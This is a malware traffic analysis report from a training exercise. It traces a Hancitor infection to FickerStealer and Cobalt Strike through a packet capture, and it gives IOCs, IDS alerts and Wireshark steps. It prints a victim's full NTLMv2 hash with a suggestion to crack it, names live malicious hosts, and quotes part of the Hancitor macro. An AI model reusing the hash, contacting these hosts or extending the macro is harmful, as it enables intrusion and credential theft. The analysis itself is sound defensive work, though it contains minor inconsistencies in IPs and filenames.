Malware Traffic Analysis Report.

General

Report Overview: This report has been prepared as part of an exercise featured on the Malware - Traffic-Analysis website. The exercise focuses on a specific incident, with downloadable files provided to support the investigation and analysis.

Purpose: The goal of this document is to present a thorough analysis of the suspicious and malicious activity captured in the provided .pcap file. The file contains network traffic recorded during a simulated event, which is available through the provided link.

Content Structure: The report offers a detailed examination of the event, closely following the format of a standard incident response document used in real-world production networks. It includes a comprehensive breakdown of the malicious activity observed, focusing on key indicators of compromise (IOCs) and other relevant data.

For full context and to view the exercise’s description and accompanying files, please refer to the link provided.

Executive Summary

This report analyzes a network traffic capture (PCAP file) from Asco Limited, focusing on identifying suspicious and malicious activities within the organization’s network.

The investigation uncovered several indicators of compromise (IOCs), including abnormal network behavior and potential malware communication.

These findings suggest a targeted attack on the network, with evidence of malicious actors attempting to establish unauthorized access.

This summary outlines the key details of the incident, assesses the potential impact on Asco Limited’s infrastructure, and provides recommendations to mitigate future risks recommendations.

Incident Overview

Background

The network traffic analyzed in this report was captured on February 8, 2021, from the organization ASCOLIMITED. The traffic originates from a local area network (LAN) segment with the IP range of 10.2.8.0/24, which spans from 10.2.8.0 to 10.2.8.255. The domain for the network is ascolimited.com, and the domain controller is identified as AscoLimited-DC with the IP address 10.2.8.2. The gateway for this segment is 10.2.8.1, and the broadcast address is 10.2.8.255. This network layout provides the framework for analyzing suspicious and malicious activities within the traffic capture.

Summary:

LAN segment range: 10.2.8.0/24 (10.2.8.0 through 10.2.8.255) Domain: ascolimited.com

Domain controller: 10.2.8.2 - AscoLimited-DC

LAN segment gateway: 10.2.8.1

LAN segment broadcast address: 10.2.8.255

Scope of the events

The following table contains summary of what was found from the malicious traffic analysis, more details and technical information can be found on the POC section of this report. Please note, that information base only on the PCAP file, and the PN is Packet Number as start point of the malicious activity

PN	Time	Event	Descrition
2315	15:59:12.458095000 UTC	Connection to tonmatdoanminh.com	The connection seems run by Windows Edge browser, the HTTP query is GET to uninviting.php file, the domain itself known as malicious on several vendors, the PHP code make new query that contain cookie of client UTC value.
2993	15:59:18.369919000 UTC	JavaScript Manipolation on Client side	JavaScript from tonmatdoanminh.com was run on the client download hidden file with base64 and save it as 0208_54741869750132.doc it while redirect the client to another malicious domain (key.xn–nvigators-key-if2g.com) to download infected doc file named logon0208_54741869750132.doc. That malware categorized as Hancitor.
2999	15:59:18.557556000 UTC	Download Infected DOC File and Execute it	Client run DNS query and run TCP session with key.xn–nvigators-key-if2g.com for download doc file named logon0208_54741869750132.doc overt TLS session. It also seems that the client executes that file. We can’t get that doc file from the PCAP since the session are encrypted.
3812	16:00:06.834697000 UTC	HTTP Session to api.ipify.org	Session was made by the client to API service named api.ipify.org to get the external address of that host.
3825	16:00:10.595678000 UTC	Client Push Personal Data	We can only assume that DOC’s files was executed, then the client push sensitive data like username, computer name, domain name, windows version and external IP address to satursed.com,also that push done every 2 minutes.
3877	16:00:12.297229000 UTC	Client Download Binaries Files	Also, a session to another domain (roanokemortgages.com) was made, then binaries (malwares) files was download to the client side. The files are: 0801.bin, 0801s.bin, 61hjgfdghj.exe. The exe file categorized as Filker Stealer.
3886	16:00:12.694358000 UTC	Client Made TCP session to 198.211.10.238:8080	TCP session was made, it looks like related to the last DOC execution. From that session another binary file was download named 6Aov, after the download was complete the session was upgrade to TLS encryption session. This malware categorized a Cobalt Strike.
4729	16:00:17.463901000 UTC	Client Made another TCP session to 185.100.65.29:80	That session used to transfer 7MB of data, after that session end, we can see the previous one and the session to stursed.com send the same data every 2 minutes.

Indicators of Compromise (IOCs).

The following contain the information about the indicators that can be used to implementation on systems and security components for prevent such malicious activities.

File Name	File Hash
6lhjgfdghj.exe	94e60de577c84625da69f785ffe7e24c889bfa6923dc7b017c21e8a313e4e8e1
0801.bin	ee33a8fa2ae6f6b9366c97ed4c00c2796d98a371249dca725a01aca03caf747b
0801s.bin	7af0dc117d2dcd112f50889c4c8a14ac9ee55c2525a24fa66ff9a89b480b7e99
6Aov	e519c1e99f21fbc6754e2ed9ef38a12684d506617229b4ca87fcff86f6838250
0208_54741869750132.doc	3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d
uninviting.php	858aac988e85075348f32e4750f17bf5c16e579fff258d3def9f23563e89372d
forum.php	3643b1eae555f0c273f0b7dcf095b6b292e9c2c5f22e7e80f29356e7cf336018
Wh102yYa.tmp (W0rd.dll)	0d7aa23a72d22dcf47f8723c58d101b3b113cbc79dd407a6fac0e65d67076ea1

IP	Domain/URL
162.241.149.195	key.xn—nvigators-key-if2g.com site
54.235.147.252	api.ipify.org
213.5.229.12	satursed.com
198.211.10.238	http://198[.]211[.]10[.]238:8080/ca
8.208.10.147	roanokemortgages.com
185.100.65.29	sweyblidian.com
45.124.85.55	tonmatdoanminh.com

Analysis and Explanation of the Attack Process

During the analysis, we were able to understand what was append and what was done based on the timeline. In short, the attacker initiated the compromise through a phishing campaign (or other social engineering), leading the victim to a malicious domain and executing a weaponized document containing Hancitor malware. This malware initiated the download of multiple payloads, including FickerStealer and Cobalt Strike. The attack resulted in the exfiltration of sensitive information, control over the infected system, and continued data transfers to the attacker’s servers.

The following describes the actions taken by the attacker to provide a clear view of the attack process.

Event 1: Connection to tonmatdoanminh.com (PN 2315, 15:59:12 UTC) The attack begins with a connection to the domain tonmatdoanminh.com. This connection is initiated by the client using Windows Edge, sending an HTTP GET request to a suspicious PHP file (uninviting.php). The PHP code appears to collect the client’s cookie and UTC value, potentially gathering information for the attacker to exploit in the next stage.

Event 2: JavaScript Manipulation on Client Side (PN 2993, 15:59:18 UTC) Shortly after, JavaScript from the malicious domain tonmatdoanminh.com executes on the client machine. This script downloads a hidden file in Base64 format and saves it as 0208_54741869750132.doc. Simultaneously, the client is redirected to another malicious domain (key.xn–nvigators-key-if2g.com) where an infected document (logon0208_54741869750132.doc) is downloaded. This document contains the Hancitor malware.

Event 3: Download Infected DOC File and Execute it (PN 2999, 15:59:18 UTC) The client now initiates a DNS query to resolve the domain key.xn–nvigators-key-if2g.com and establishes a TCP session over TLS to

download the infected document. Although the session is encrypted, it’s clear that the client executes the malicious DOC file.

Event 4: HTTP Session to api.ipify.org (PN 3812, 16:00:06 UTC) After the DOC file is executed, the client makes a request to the external API service api.ipify.org to retrieve its public IP address. This is likely used by the malware to determine the client’s external network details.

Event 5: Client Pushes Personal Data (PN 3825, 16:00:10 UTC) Following the DOC execution, the client transmits sensitive information such as the username, computer name, domain name, Windows version, and external IP address to a third malicious domain (satursed.com). This data exfiltration occurs at regular two - minute intervals, indicating continuous communication between the client and the attacker’s infrastructure.

Event 6: Client Downloads Binary Files (PN 3877, 16:00:12 UTC) Next, the client initiates a session to yet another malicious domain (roanokemortgages.com). Multiple binary files, including 0801.bin, 0801s.bin, and an executable file 61hjgfdghj.exe, are downloaded. The executable is identified as FickerStealer malware, designed to steal sensitive information from the infected system.

Event 7: Client Initiates TCP Session to 198.211.10.238:8080 (PN 3886, 16:00:12 UTC) The client then establishes a TCP session to the IP address 198.211.10.238 on port 8080. During this session, another binary file (6Aov) is downloaded. After the download, the session transitions to a TLS-encrypted session. This file is identified as part of the Cobalt Strike toolkit, used for post-exploitation, command-and-control, and lateral movement within the network.

Event 8: Large Data Transfer to 185.100.65.29:80 (PN 4729, 16:00:17 UTC) Finally, the client initiates another TCP session to the IP address 185.100.65.29, during which 7MB of data is transferred. After this session ends,

the periodic communication with satursed.com continues every two minutes, indicating the ongoing exfiltration of stolen data.

Proof of Concept (POC)

This section demonstrates the steps taken to identify and confirm the malicious activity observed in the captured network traffic. By leveraging analysis tools and methods, the following process outlines how the suspicious behavior was reproduced and validated. The POC serves to provide technical proof of the attack, showcasing the techniques used to detect the Indicators of Compromise (IOCs) and the malicious communication within the .pcap file.

The compressed files that provided by Asco Limited contain the following files:

• 2021-02-08-traffic.pcap – contain the record traffic from the date 08/02/2021.
• Alerts.jpg – contain screenshot from Sguil dashboard which is network security monitoring (NSM) interface and work with IDS engines like Snort or Suricata. The image itself showed alert from the IDS about malicious activities.
• Alerts.txt – contain the same events information from Alerts.jpg in text format.

Based on the provided files, a detailed analysis was done to examine the .pcap file and find all the important information. The steps below explain how the investigation was carried out to uncover the suspicious activity in the network. All the findings in this report include screenshots and, where possible, related text or event logs to support the analysis

Step 1: Information Gathering

From the screenshot of the Squil dashboard (alerts.jpg), we can see information (from the IDS device, like snort or suricata) about alerted malicious activities on the date 08/02/2021. That file contain the based information we can use on that assessment, first of all the local network IP address that look like the victim and the related addresses that we will try to find more information about them later, also we can see the Event Massages that contain details about the activities itself. Also that information can be found on the text file (alert.txt).

Count:6
Event#3.750 2021-02-08 15:59 UTC 
ET POLICY Lets Encrypt Free SSL Cert Observed
162\.241.149.195 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1500 ID=0 flags=0 offset=0 ttl=0 chksum=27137 Protocol: 6 sport=443 -> dport=49736 
------------------------------------------------------------------------
Count:1 Event#3.767 2021-02-08 16:00 UTC
ET POLICY External IP Lookup api.ipify.org 10.2.8.101 -> 54.235.147.252 
IPVer=4 hlen=5 tos=0 dlen=204 ID=0 flags=0 offset=0 ttl=0 chksum=56542 Protocol: 6 sport=49754 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=47744 chksum=0
------------------------------------------------------------------------
Count:10 Event#3.768 2021-02-08 16:00 UTC 
ETPRO MALWARE Tordal/Hancitor/Chanitor Checkin 10.2.8.101 -> 213.5.229.12 
IPVer=4 hlen=5 tos=0 dlen=443 ID=0 flags=0 offset=0 ttl=0 chksum=60612 Protocol: 6 sport=49755 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=30910 chksum=0
------------------------------------------------------------------------
Count:1 Event#3.769 2021-02-08 16:00 UTC 
ET POLICY HTTP Request on Unusual Port Possibly Hostile 10.2.8.101 -> 198.211.10.238 
IPVer=4 hlen=5 tos=0 dlen=40 ID=8878 flags=2 offset=0 ttl=128 chksum=62457 Protocol: 6 sport=49758 -> dport=8080 
Seq=2871987428 Ack=1221200613 Off=5 Res=0 Flags=\*\*\*A\*\*\*\* Win=65535 urp=56826 chksum=0
------------------------------------------------------------------------
Count:3 Event#3.770 2021-02-08 16:00 UTC 
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
198\.211.10.238 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=159 ID=0 flags=0 offset=0 ttl=0 chksum=54833
Protocol: 6 sport=8080 -> dport=49758 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=8722 chksum=0
------------------------------------------------------------------------
Count:3 Event#3.774 2021-02-08 16:00 UTC 
ET POLICY exe download via HTTP - Informational 10.2.8.101 -> 8.208.10.147 
IPVer=4 hlen=5 tos=0 dlen=219 ID=0 flags=0 offset=0 ttl=0 chksum=37972 Protocol: 6 sport=49757 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=51520 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.777 2021-02-08 16:00 UTC 
ET POLICY Binary Download Smaller than 1 MB Likely Hostile 8.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1162 ID=0 flags=0 offset=0 ttl=0 chksum=37029 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=10912 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.782 2021-02-08 16:00 UTC 
ET INFO Packed Executable Download 
8\.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1162 ID=0 flags=0 offset=0 ttl=0 chksum=37029 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=10912 chksum=0
------------------------------------------------------------------------
Count:1 Event#3.787 2021-02-08 16:00 UTC 
ETPRO MALWARE Meterpreter or Other Reverse Shell SSL Cert 198.211.10.238 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1176 ID=0 flags=0 offset=0 ttl=0 chksum=53816 Protocol: 6 sport=443 -> dport=49759 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=21749 chksum=0
------------------------------------------------------------------------
Count:250 Event#3.788 2021-02-08 16:00 UTC 
ETPRO MALWARE Cobalt Strike Beacon Observed 10.2.8.101 -> 198.211.10.238 
IPVer=4 hlen=5 tos=0 dlen=430 ID=0 flags=0 offset=0 ttl=0 chksum=54562 Protocol: 6 sport=49760 -> dport=8080 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=9750 chksum=0
------------------------------------------------------------------------
Count:32 Event#3.789 2021-02-08 16:00 UTC 
ET POLICY PE EXE or DLL Windows file download HTTP 
8\.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1162 ID=0 flags=0 offset=0 ttl=0 chksum=37029 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=10912 chksum=0
------------------------------------------------------------------------
Count:3 Event#3.821 2021-02-08 16:00 UTC 
ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile 8.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1500 ID=0 flags=0 offset=0 ttl=0 chksum=36691 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=64861 chksum=0
------------------------------------------------------------------------
Count:1 Event#3.825 2021-02-08 16:00 UTC 
ET POLICY External IP Lookup (ipify .org) 10.2.8.101 -> 54.235.147.252 
IPVer=4 hlen=5 tos=0 dlen=264 ID=0 flags=0 offset=0 ttl=0 chksum=56482 Protocol: 6 sport=49761 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=8884 chksum=0
------------------------------------------------------------------------
Count:2 Event#3.828 2021-02-08 16:00 UTC 
ET MALWARE Win32/Ficker Stealer Activity
185\.100.65.29 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=81 ID=15075 flags=0 offset=0 ttl=128 chksum=62171 Protocol: 6 sport=80 -> dport=49763 
Seq=405699802 Ack=3790664959 Off=5 Res=0 Flags=\*\*\*AP\*\*\* Win=64240 urp=46503 chksum=0
------------------------------------------------------------------------
Count:2 Event#3.829 2021-02-08 16:00 UTC 
ET MALWARE Win32/Ficker Stealer Activity M3 10.2.8.101 -> 185.100.65.29 
IPVer=4 hlen=5 tos=0 dlen=48 ID=11072 flags=2 offset=0 ttl=128 chksum=49823 Protocol: 6 sport=49763 -> dport=80 
Seq=3790664959 Ack=405699843 Off=5 Res=0 Flags=\*\*\*AP\*\*\* Win=64199 urp=18464 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.883 2021-02-08 16:01 UTC 
ET POLICY HTTP POST on unusual Port Possibly Hostile 10.2.8.101 -> 198.211.10.238 
IPVer=4 hlen=5 tos=0 dlen=432 ID=0 flags=0 offset=0 ttl=0 chksum=54560
Protocol: 6 sport=49821 -> dport=8080 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=24014 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.884 2021-02-08 16:01 UTC 
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 10.2.8.101 -> 198.211.10.238 IPVer=4 hlen=5 tos=0 dlen=432 ID=0 flags=0 offset=0 ttl=0 chksum=54560 Protocol: 6 sport=49821 -> dport=8080 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=24014 chksum=0

So, the information we have so far about the victim:

IP Address: 10.2.8.101.

Related ports on the sessions: 80, 443, 8080.

The following are the suspected IP addresses that will be analyzed later in the report:

162.241.149.195 – look like it used Let’s Encrypt for create session-based SSL.

54.235.147.252 – sort of using API (ipify.org) for making external lookup.

213.5.229.12 – which is session that may contain type of malware.

198.211.10.238 – used http on port 8080 which is unusual port, also look suspected, because it look like create with possible type of shellcode like reverse shell and/or Meterpreter as we can see on the screenshot.

8.208.10.147 – used for download EXE and DLL files, that session may related to the others.

185.100.65.29 – also session that contain type of malware.

Step 2: Identifying Source Host Information

So now after we have that all information, we can use the source .pcap file to find more information about the victim. So far, we know the source IP address of that host, so we can use the following filter on the search box:

ip.addr == 10.2.8.101 && nbns

Also, for get the full hostname, we can use Wireshark setting that can display the full hostname in the packet, we just need to click and select the following View>Name Resolution>Resolve Network Address.

We can clearly see the hostname for that PC, also by opening the frame we can find the MAC address for that source, also Wireshark can give us the vendor’s name which is in that case HP.

` `And by lookup that source MAC address we can verify the vendor registration for that mac address and last update, which in our case is oct 2004, that may tell us that this is an old machine.

For finding more details about the OS version of that host we can use HTTP filter from that source and search the user-agent filed which should tell us what the OS type and the browser is used.

Using online parsing tool for that user-agent, tell us that in that case the OS is windows 10 the browser in used most likely Edge, we also have the version of that Edge.

To find more information like the build number of the windows 10 we can use the following filer:

ip.src == 10.2.8.101 && ntlmssp

The NTLMSSP (NT LAN Manager Security Support Provider) protocol is used for authentication in Windows environments.

Also, the source user can be found by the same filter, since SMB2 Session Setup Request was made for establishing a session between a client and server, it also can reveal the source user’s identity. This packet is sent by the client to initiate a session with the server, and it includes an important component called the “Session. Setup Request” structure. Within this structure, the client provides authentication information which may include Kerberos tokens or NTLMSSP (in our case). If NTLMSSP is used, the Type 3 Authentication packet, part of the NTLMSSP handshake, contains the username, domain, and other credentials.

So now we have the following information about the host which most likely the victim: Hostname: DESKTOP-MGVG60Z.ascolimited.com

IP Address: 10.2.8.101

MAC Address: 00:12:79:41:c2:aa

Machine Vendor: Hewlett Packard

OS Version: Windows 10 build 19041

Source User: bill.cook

Local Domain Name: ASCOLIMITED

By gathering this information, we can keep it in mind as we proceed, allowing us to analyze the PCAP file further and extract the relevant IOCs from it.

Step 3: Analyze Network Behavior

So far, the network appears to be a Windows environment, so we should look for protocols that are likely active on this internal network. By examining these protocols, we may identify the internal network’s strengths and weaknesses through the PCAP recording.

First, we can see that this pcap contain LLMNR query on the shared network, this is mean that LLMNR are active on that host, as the host is attempting to resolve a name using the LLMNR protocol on the local network.

Link-Local Multicast Name Resolution (LLMNR) is a protocol that can be exploited by attackers to capture sensitive information such as password hashes on a shared network (using Responder as example). By sending malicious LLMNR queries, an attacker can trick the target system into revealing authentication details, potentially compromising network security. To mitigate this risk, it is advisable to disable LLMNR on endpoint hosts. Disabling LLMNR helps reduce the attack surface and prevents unauthorized access to sensitive data through this protocol.

Also, the presence of NetBIOS Name Service (NBNS) traffic on that .pcap file indicates that NBNS is active on the network.

NBNS is used for NetBIOS name resolution on local networks, which can be exploited in attacks such as NetBIOS Name Service poisoning. Attackers can craft and broadcast malicious NBNS responses to redirect legitimate traffic to malicious hosts or intercept sensitive information. When clients use NetBIOS for authentication, it may reveal NTLM hashes of user credentials. Attackers on the same network can capture these hashes and attempt to crack them to gain unauthorized access to systems.

Disabling NBNS helps to minimize the attack surface and enhance the security posture of the network, also based on the .pcap file we can see DNS query in used, it means that DNS active on the shared network for name resolution solution, so NBNS can be safely disabled.

Also, MDNS (Multicast DNS) found active on the local host, this is used for device discovery on local networks (e.g., for printers or smart devices).

Attackers can abuse MDNS to perform MitM attacks by spoofing responses to MDNS queries. This could lead to traffic redirection or interception. If MDNS is not needed for the environment (as example, the environment don’t rely on device discovery or service advertisement via MDNS), it’s a good idea to disable MDNS to reduce the attack surface.

Further examination of the PCAP file indicates that SMB version 1 is in use on the local host, as the host attempts to negotiate the protocol with the local domain controller using the NT LM 0.12 dialect, which is associated with SMBv1.

The response from the local DC indicates that it is negotiating with SMBv2. This response can be identified as part of the SMB negotiation process by referencing packet numbers 138 and 139.

Additionally, the response shows that the security mode has signing enabled and required, which is a positive security measure.

However, since the host requested negotiation using the NT LM 0.12 dialect, this indicates that SMBv1 is still in use. This poses a risk, as SMBv1 is vulnerable to attacks such as stealing credentials and Pass-the-Hash techniques. It is recommended to disable SMBv1 on all network hosts to mitigate these security risks.

Also, in the host identification section, we observed that the NTLMSSP protocol, which is related to SMB, was used, and we were able to retrieve user information. Further examination revealed that SMB signing is not enabled.

Packet number 17824 suggests that changes related to SMB may have occurred on the local host since signing is not enabled. Additionally, by examining this packet in detail, we can observe the hash directly. Using the right tool, we can extract this hash from the PCAP file as an NTLMv2 hash.

bill.cook::ASCOLIMITED:d0b12b47f0500250:f7cd2b31f9edc5ccf09601932ef1be2d:0101000000000000d497a7b533fed601477f8d19bad3759f000000 00020016004100530043004f004c0049004d00490054004500440001001c004100530043004f004c0049004d0049005400450044002d004400430004001e006 100730063006f006c0069006d0069007400650064002e0063006f006d0003003c004100730063006f004c0069006d0069007400650064002d00440043002e00 6100730063006f006c0069006d0069007400650064002e0063006f006d0005001e006100730063006f006c0069006d0069007400650064002e0063006f006d0 007000800d497a7b533fed601060004000200000008003000300000000000000000000000002000006d34b9ad307f072ed952237dc122b67b45660d5a757dd5 6940fb66999c0836770a0010000000000000000000000000000000000009001a0063006900660073002f00310030002e0032002e0038002e003200000000000 0000000

As shown, we can use BruteSharkCli.exe to get the NTLM hash from the PCAP file. This hash can be used with tools like Hashcat or John the Ripper to try and find out the original password. We also noticed that SMB signing is turned off on the host, which might suggest some security issues. In the next section, we’ll look more closely at what it means for SMB signing to be off and check for any signs of malicious activity related to this problem.

Using the same technique, we were able to extract another hash. This time it is a Kerberos hash, so we should keep it in mind as we proceed further.

So far, we know that the local host contains several traffic samples that may indicate the network behavior, including LLMNR, NBNS, MDNS, and SMBv1 protocols. Additionally, NTLMv2 and Kerberos credential hashes are present in the PCAP file, which could suggest related malicious activities. However, they might also be due to misconfigurations, so further examination is necessary.

Step 4: Analyze Network Activities

First, we want to examine the conversations in the PCAP file. The goal is to identify the sessions with the most data transfer and investigate the associated addresses. In our case, we can see that the victim at IP address 10.2.6.101 is communicating with 185.100.65.29 on port 80. This IP address was also observed earlier in the dashboard image.

Since that session contain 7MB, it may indicate of file transfer, we can check it by view the available objects for export: File>Exports Objects >HTTP.

We can see that the list contains several PHP files worth examining, along with various binary files and an EXE file from roanokemoratgages.com. There are multiple domains that we need to check, and towards the end of the list, we find additional relevant information.

We can see the repeated IP address that is also found in the alert.jpg, as well as additional PHP files that we need to examine as we proceed.

So far, we have several domains that look suspected and several files that also look malicious, so we will examining one by one now, also note that there are several session files from s-microsoft.com look like came from Microsoft and simple google search and domain lookup can approved that assumption.

The first suspected session is the HTTP GET request against 45.124.85.55 that ask for uninviting.php from domain named tonmatdoanminh.com

By checking the packet itself we can see that the connection to that site was made with the local browser on the host.

Checking that domain against Virus Total found that this site looks malicious for several vendors.

Following the HTTP stream (right click on packet number 2315>Follow>HTTP Stream), reveald the javascript code that used to store and manage time zone information in cookies and ensure that this data is available on the user’s subsequent visits.

<script> 
// Get the current time zone offset in minutes and convert it to a negative value. let d = -new Date().getTimezoneOffset();
// Get the current time zone name. 
let n = Intl.DateTimeFormat().resolvedOptions().timeZone;
// Function to set a cookie with a specified name, value, and expiration time in minutes. function set\_cookie(name, value, minutes) {
let date = new Date();
date.setTime(date.getTime() + (minutes \* 60 \* 1000));
let expires = "";
if (minutes) {
expires = "; expires=" + date.toGMTString();
  } 
document.cookie = name + "=" + escape(value) + expires + ";path=/";   
} 

// Function to retrieve the value of a specified cookie by its name. 
function get\_cookie(cookie\_name) {
let results = document.cookie.match('(^|;) ?' + cookie\_name + '=([^;]\*)(;|$)');
if (results) {
return (unescape(results[2]));
  } else { 
return null;
  } 
} 

// Check if the 'd' and 'n' cookies are not set and update them with value and reload the page. if (!get\_cookie('d') && !get\_cookie('n')) {
set\_cookie('d', d, 2);
set\_cookie('n', n, 2);
document.location.reload();
} 
</script> 

Please note, I have added the comments in yellow on that script block. On the next query we can see that this cookie values were set.

This GET query tell the other side what the UTC value of that client is, the followed JavaScript that get from that query used to download some file that hidden by base64.

In general, the script is used to generate and download a file directly from the browser. This could be for legitimate purposes, but since it contains base64 encoded data, it may be harmful content, in our case file named 0208_54741869750132.doc. Also, we can see the script and meta tag together which activate the automatic download of a file and immediate redirection to a potentially suspicious URL, which could be part of a larger malicious operation. Checking that Domain also looks like malicious site.

Next, a DNS query was made to that URL and the query respond contain the address to this domain, since that is https the session are encrypted, we can only see TLS session to 162.241.149.195, which is the key.xn— nvigators-key-if2g.com site.

In some point we can see that this session is dying, we can make some query on Wireshark to follow the TCP stream and see the RST which end the session.

ip.addr==162.241.149.195 && tcp

Then we can see that the client trying made some authentication against login.microsoftonline.com, this site is generally related to Microsoft’s authentication and identity management services, and it is used to log into various Microsoft and partner applications securely.

After that session get reset, we can see another packet about DNS queries to api.ipify.org (which also found on the Alerts.jpg image).

The resolved for that one was 54.235.142.93, we can find that on the DNS responding from the local DC server. We can also see that this host is hosted on Amazon Web Services (AWS).

Right after that session for HTTP was made, and we can using follow http stream so see that this target replay with the following.

This HTTP response is from the api.ipify.org server, which has successfully handled a request for the root path (/). The server uses the Cowboy HTTP server, and the response is a plain text message which contains the external IP address 173.66.46.122, also parsing the user agent looks like it now Internet Explorer 11.

Right after that packet we can see DNS query, it asks to resolve satursed.com.

The reply contains the address 213.5.229.12, which also appears on the alert.jpg image, then the HTTP query is POST to push data into forum.php, which we saw earlier.

Inspecting that data, we can see that it pushes information from local host like the host name, domain name, username, windows version and also the external IP address we saw from the query against api.ipify.org.

Right after that we can see the following DNS queries, one of them is what we saw earlier on the available object to export from HTTP.

The responding contains the 8.208.10.147 address related to roanokemortgages.com, which also can be found in the alert.jpg image, we saw alerts from that one about downloading EXE and DLL files.

Following that session on HTTP level revealed that the local host query to get several files: 0801.bin

0801s.bin

61hjgfdghj.exe

After the 0801.bin and 0801s.bin files session was made, a TCP three-way handshake was start with another address which is 198.211.10.238 on port 8080 for getting another file named 6Aov. That session also alerted by the IDS as we saw on the alerts.jpg image.

As we moved forward, we can see that the session with that host was upgraded for using certificate and TLS for encrypt the session.

Then it looks like after the transfer complete it finish the session and other queries against api.ipify.org was made.

Another query was made to the DNS to obtain the address of the domain sweyblidian.com. The reply from the DNS server contained the following address: 185.100.65.29. This address was also found on the IDS dashboard, as it was associated with malware activity in that session.

dns.qry.name == “sweyblidian.com”

If we follow the session, we can see that the server asks for desktop.ini file from the client.

This looks like a long stream on this packet capture, also the session was change on the TCP level several times.

We can see TCP Window Full and TCP Zero Window, this means that the sender is sending data at a faster rate than the receiver can process, but the receiver can still accept some data once it processes and frees up its buffer. That session ends up at 16:00 UTC time on packet 14368.

So far in the packet capture, we have observed several suspicious files associated with malicious sessions that downloaded binary malware. One of these files was an executable called 61hjgfdghj.exe. Checking this file on Virus Total revealed the following results.

Also, Virus Total give us information about the malware from each vendor, which in that case categorized that malware as Ficker Stealer, which used to steal data and us C&C server. More information about such malware can be found here.

Also, we saw file name 6Aov, searching that on Virus Total show us that this is type of shellcode. Several vendors categorized it as Cobalt, we also can see on Family labels that it related to Cobalt Strike, so we can guess that it used for gathering more sensitive data and maintain access. More information about Cobalt Strike functionality can be found here.

Also, we saw DOC file named 0208_54741869750132.doc, running simple google search led us to the following any run site that can tell us more about that file.

Searching that hash on Virus Total can give us more information. That malware categorized as Hancitor by many vendors, more information about that threat type can be found here

Since we know about more files we saw on that capture, we can make list from them for IoC’s and used the information related, like IP address, URL’s, filenames and hashes, we also know that the session may related to Bill Cool, we saw it start from browses sites using Microsoft Edge.

At least we have the following three malware that we can take attention carefully:

• Hancitor.
• FickerStealer.
• Cobalt Strike.

Step 5: Malware Research and Reverse Engineering

So far, we know about several malicious files, but in that section, I want to concentrate on the following malware files: Hancitor, FickerStealer and Cobalt Strike. Please note that all steps shown here were done on my Linux, and it is not recommended to run the malware on production windows environment. Also, the idea is to find more indicator and get more information about the attack itself.

In our case the FickerStealer is the 6lhjgfdghj.exe, by testing that file on local VM I have found nothing but the query to api.ipify.org for getting the information about the external IP address, also Cobalt Strike in our case is the 6Aov binary file, and we have more two bin files that look related, running mini bash script against them tell us nothing but this is data files.

So, we left with the malware type of Hancitor, which is the DOC file that was downloaded to the client site by running JavaScript on the browser. To extract that file from PCAP itself we need the uninviting.php we saw earlier. To extract that file, we need to go Files>Export Object>HTTP, then the uninviting.php** need to be selected and saved on the right path so we can do our analysis on it.

Please note, we need the bigger one, which is the one that contains the encoded base64 doc file on the JavaScript block.

This file is actual HTML file on the client side, so we need to change the extension to .html so the local browser will read it as HTML, while opening it will download the file directly to the download folder.

Now we can use oledump to dump the Macro blocks from that DOC file, the following is the way to read the structure of the file to understand where the Macro is stored. From the following we can see that there is several Macros, they can be found on stream 8 to 12.

Next, we can read the Macro by running the following command. oledump 0208_54741869750132.doc –vbadecompressskipattributes -s8

' Function to recursively search for subfolders and check for specific files
Function Getme(RootPath As String)
    Dim hor As String 
    Dim fso As Object 
    Dim fld As Object 
    Dim vhhs As Object 
    Dim afs As String 
    Dim myArr 
    hor = repid 
    Dim asdf 
    Dim cheza As String 
    asdf = RootPath 
    Dim fer As String 
    ' Create a FileSystemObject to interact with the file system
    Set fso = CreateObject("Scripting.FileSystemObject")
    ' Get the folder object for the specified root path
    Set fld = fso.GetFolder(asdf)
    Dim uuj As String 
    uuj = "Wh102yYa.t" & "mp" 
    ' Check if the file exists in the root path
    strFileExists = Dir(RootPath & "\" & uuj)
    ' If the file does not exist, iterate through each subfolder in the folder, Call the function checkthe with the subfolder
    If strFileExists = "" Then 
